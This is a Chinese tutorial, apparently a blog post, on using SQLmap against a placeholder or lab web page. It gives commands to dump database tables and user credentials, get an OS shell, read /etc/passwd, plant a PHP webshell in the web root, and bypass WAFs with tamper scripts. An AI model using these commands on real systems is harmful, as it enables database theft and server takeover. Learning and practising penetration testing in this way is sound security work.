SQLmap 扫描工具的使用
一、SQLMap拖库:
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。
1、当我们发现注入点的时候,
sqlmap -u "http://xxx.xx.xx/security/read.php?id=1"
2、查看所有的数据库
sqlmap -u "http://xxx.xxx.xxxx/security/read.php?id=1" --dbs
3、查看当前使用的数据库
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --current-db
4、发现使用的是learn数据库,接下来对此数据库进行查询
sqlmap -u "http://xx.xxx.xxx./security/read.php?id=1" --tables -D "learn"
5、查出所有表以后,对user表的列名进行查询
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --columns -T "user" -D "learn"
6、users表中的列名已经知道了,可以直接查出所有数据
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容
7、直接指定数据库类型,节省检测时间
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbs --dbms=mysql
8、判断是否是DBA
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbms=mysql --is-dba
9、指定Payload级别
--level=5: 探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
10、自定义Referer和User-Agent
--random-agent 从/usr/share/sqlmap/data/txt/user-agents.txt文件中随机读取一条User-Agent--user-agent=Qiang/Scanner 任意自定义user-agent--referer=https://xxx.xxx.xxx.xxx.com/test/1 自行指定referer
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbs
2、如果注入点不是GET请求,而是POST请求,则要添加POST正文
(1)先将POST请求在Burp中进行捕获,将请求内容保存到文件中。
(3)运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。
sqlmap -r post文件 -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbs
需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如id=12345&name=woniu&addr=chengdu,此处3个参数都会被尝试。
新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。
三、OS-Shell
1、整个过程分为三个部分:
(1)猜测网站绝对路径
(2)尝试写入木马
(3)获取到Shell命令行
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --os-shell
2、手工读写文件
# 读取远程服务器上的文件sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-read "/etc/passwd"# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入:sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php# 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。sqlmap -u "http://192.168.36.150/security/read.php?id=1" --cookie="PHPSESSID=jbn47m13m6qbs4b5lq7ljp6nu0" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch# --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。
常见的一些SQL注入语句: SQL注入语句大全_张自强的博客-CSDN博客_sql注入语句大全 SQLMapAPI:SqlmapApi学习 · Issue #69 · PyxYuYu/MyBlog · GitHub
四、Tamper绕过
1、用法
--identify-waf 可以检查网站是否有安全防护(WAF/IDS/IPS)--tamper 参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。命令:sqlmap.py -u "URL" --tamper "模块.py"
2、模块说明
apostrophemask.py # 将引号替换为UTF-8,用于过滤单引号base64encode.py # 替换为base64编码multiplespaces.py # 围绕sql关键字添加多个空格space2plus.py # 用+号替换空格nonrecursivereplacement.py # 作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)space2randomblank.py # 将空格替换为其他有效字符unionalltounion.py # 将union all select 替换为union selectsecuresphere.py # 追加特制的字符串space2hash.py # 将空格替换为#号,并添加一个随机字符串和换行符。space2mssqlblank.py # (mssql)将空格替换为其他空符号space2mssqlhash.py # 将空格替换为#号,并添加一个换行符between.py # 用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号percentage.py # ASP允许在每个字符前面添加一个%号sp_password.py # 从DBMS日志的自动模糊处理的有效载荷中追加sp_passwordcharencode.py # 对给定的Payload全部字符使用URL编码(不处理已经编码的字符)randomcase.py # 随机大小写charunicodeencode.py # 字符串Unicode编码space2comment.py # 将空格替换为/**/equaltolike.py # 将等号替换为likegreatest.py # 绕过对>的过滤,用GREATEST替换大于号ifnull2ifisnull.py # 绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)modsecurityversioned.py # 过滤空格,使用Mysql内联注释的方法进行注入space2mysqlblank.py # 将空格替换为其他空白符号(使用户MySQL)modsecurityzeroversioned.py # 使用mysql内联注释(/*! 00000*/)的方式进行注入space2mysqldash.py # 将空格替换为--,并添加一个换行符。bluecoat.py # 在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。versionedkeywords.py # 注释绕过halfversionedmorekeywords.py # 当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释space2morehash.py # 将空格替换为#号,并添加一个随机字符串和换行符。apostrophenullencode.py # 用非法双字节unicode字符替换单引号appendnullbyte.py # 在有效载荷的结束为止加载零字节字符编码chardoubleencode.py # 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)unmagicquotes.py # 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。randomcomments.py # 用/**/分割sql关键字
工具使用|神器Sqlmap tamper的使用介绍
SQLmap 扫描工具的使用相关推荐
- WordPress插件扫描工具plecost
WordPress插件扫描工具plecost WordPress是PHP语言开发的博客平台.该平台允许用户通过插件方式扩展博客功能.由于部分插件存在漏洞,给整个网站带来安全风险.Kali Linux提 ...
- web目录字典_Dirmap:一款高级Web目录文件扫描工具
前言 本人是一名立志安全开发的大学生,有一年安全测试经验,有时在刷src的时候,需要检查所有target的web业务系统是否泄露敏感目录.文件,工作量十分庞大,于是Dirmap诞生了~ 知名的web目 ...
- Web漏洞扫描工具(批量脱壳、反序列化、CMS)
一.什么是Web漏洞扫描工具 即是指"扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具",其中许多可能是由不安全或不正确的编 ...
- Dirmap:一款高级Web目录文件扫描工具
前言 本人是一名立志安全开发的大学生,有一年安全测试经验,有时在刷src的时候,需要检查所有target的web业务系统是否泄露敏感目录.文件,工作量十分庞大,于是Dirmap诞生了~ 知名的web目 ...
- java web 漏洞扫描工具_java编写web漏洞扫描系列 一、GET/POST
今天是java编写漏洞扫描工具系列一,在整个系列中我将以案例驱动方式进行,从基本的请求,到常规漏洞扫描,Burp插件,调用SQLmap api,整合burp+sqlmap(Web平台),漏洞扫描平台( ...
- SQLMap 扫描利用SQL注入
一.SQLMap介绍 SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL .Oracle .Postgre ...
- 被动扫描工具(myscan)
被动扫描工具(myscan) 文章目录 被动扫描工具(myscan) 前言 运行原理 演示地址 如何运行 检测插件 优势与不足 前言 myscan是参考awvs的poc目录架构,pocsuite3.s ...
- kali linux samba,Kali Linux 渗透测试:SMB、SMTP扫描工具(14)
一.SMB扫描工具 SMB(Server Message Block)协议,服务消息块协议. 最开始是用于微软的一种消息传输协议,因为颇受欢迎,现在已经成为跨平台的一种消息传输协议. 同时也是微软历史 ...
- gnome硬盘分析_三款基于GUI和终端的实用Linux磁盘扫描工具
[51CTO.com快译]扫描计算机硬盘主要出于两个原因:一个原因是分析硬盘,找出文件系统的不一致或错误.引起这些问题的可能因素包括:持续的系统崩溃,关键的系统软件关闭不当,更主要的是破坏性程序(比如 ...
最新文章
- Pidgin下使用Gtalk问题
- python界面设计实例-Python GUI项目实战:主窗体的界面设计与实现
- 使用Picasso实现图片圆角和图片圆形
- QML实现酷炫的 Cover Flow 效果(PathView)
- 武侠q传服务器维护,《武侠Q传》就服务器人多过载致歉玩家赞有诚意
- 玩转oracle 11g(11):开启归档模式
- linux可平通网关但不能上网,redhat问题:能ping通网关和本网段的IP,但是不能ping通DNS,也不能上网...
- k64 datasheet学习笔记3---Chip Configuration之System modules
- Vue指令之v-bind
- mailR:利用R语言发邮件
- 大数据平台搭建及搭建过程出错解析
- 浅谈Mysql 表设计规范(转)
- 计算机应用助手工程师,通信工程师备考助手
- 国内使用dropbox_如何在iPhone或iPod Touch上使用Dropbox
- Win10怎么开启超级管理员administrator帐户
- 你的六岁在玩儿泥巴,他们六岁已经在讲算法了
- SpringBoot启动报错:Parameter 0 of method hmset in com.qcby.rbac.util.RedisUtils required a bean of type
- 万丈高楼平地起 AI帮你做自己
- excel怎么筛选出自己想要的内容
- 第2章 第2节-Dijkstra Astar